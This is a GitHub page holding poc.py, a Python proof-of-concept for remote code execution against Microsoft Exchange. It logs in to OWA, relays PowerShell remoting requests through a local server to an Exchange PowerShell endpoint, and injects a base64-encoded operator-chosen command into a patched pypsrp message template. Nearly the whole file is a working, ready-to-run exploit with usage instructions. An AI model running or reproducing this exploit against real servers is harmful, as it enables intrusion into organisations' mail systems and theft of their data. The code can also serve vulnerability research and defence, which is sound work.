-
Notifications
You must be signed in to change notification settings - Fork 34
/
Copy pathpoc.py
186 lines (143 loc) · 5.24 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
# from 0day.pypsrp.src.pypsrp.complex_objects import DictionaryMeta
# from pypsrp.complex_objects import ObjectMeta
import threading
import argparse
import os, base64
# os.environ['http_proxy'] = 'http://localhost:8080'
# os.environ['https_proxy'] = 'http://localhost:8080'
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
import requests
s = requests.Session()
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
pass
class ExchangeExploitHandler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers["content-length"])
post_data = self.rfile.read(length).decode()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.54 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/soap+xml;charset=UTF-8",
"X-OWA-ExplicitLogonUser": f"owa/[email protected]",
}
powershell_endpoint = f"https://{host}/owa/mastermailbox%40outlook.com/powershell"
resp = s.post(
powershell_endpoint,
data=post_data,
headers=headers,
verify=False,
allow_redirects=False,
)
content = resp.content
self.send_response(200)
self.end_headers()
self.wfile.write(content)
def login(username, passwd):
url = f"https://{host}/owa/auth.owa"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.54 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
}
r = s.post(
url,
headers=headers,
data={
"destination": f"https://{host}/owa",
"flags": "4",
"forcedownlevel": "0",
"username": username,
"password": passwd,
"passwordText": "",
"isUtf8": "1",
},
verify=False,
)
if r.status_code != 200:
print("[-] Fail when login")
def start_rpc_server():
server = ThreadedHTTPServer(("127.0.0.1", 13337), ExchangeExploitHandler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
def exploit(username):
import sys
sys.path.append("./")
from pypsrp.powershell import PowerShell, RunspacePool
from pypsrp.wsman import WSMan
wsman = WSMan(
"127.0.0.1",
username=username,
password="random",
ssl=False,
port=13337,
auth="basic",
encryption="never",
)
with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
ps = PowerShell(pool)
ps.add_cmdlet("Get-Mailbox").add_argument("-Anr").invoke()
errors = "\n".join([str(s) for s in ps.streams.error])
# print(errors)
if "on parameter 'Identity'" in errors:
print(f"[+] Successfully RCE")
else:
print(
"[-] The error notice warns that RCE may not have been exploited. Check it manually."
)
# print("[+] Error: %s " % errors)
return
def powershell_base64encode(cmd):
return base64.b64encode(cmd.encode("UTF-16LE")).decode()
def modify_pypsrp(cmd):
msg = ""
with open("pypsrp/messages-bk.py") as f:
msg = f.read()
with open("pypsrp/messages.py", "w") as f:
msg = msg.replace(
"$$POWERSHELL_ENCODE_PAYLOAD_HERE$$", powershell_base64encode(cmd)
)
f.write(msg)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Microsoft Exchange RCE Poc\n Example: python3 poc.py -H https://192.168.137.143 -u user2 -p "123QWEasd!@#" -c cmd_file')
parser.add_argument(
"-H",
dest="host",
action="store",
type=str,
help='Host, eg. "http://127.0.0.1"',
required=True,
)
parser.add_argument(
"-u", dest="user", action="store", type=str, help="username", required=True
)
parser.add_argument(
"-p", dest="passwd", action="store", type=str, help="password", required=True
)
parser.add_argument(
"-c",
dest="cmd_file",
action="store",
type=str,
default="cmd",
help='File contain command that you want to run. This command will be run as `powershell -e "base64_encode(content(cmd_file))"`'
)
args = parser.parse_args()
host = args.host.strip(r"https?://")
user = args.user
passwd = args.passwd
cmd_file = args.cmd_file
print('Password:', passwd)
cmd = ""
with open(cmd_file) as f:
cmd = f.read()
login(user, passwd)
start_rpc_server()
modify_pypsrp(cmd)
exploit(user)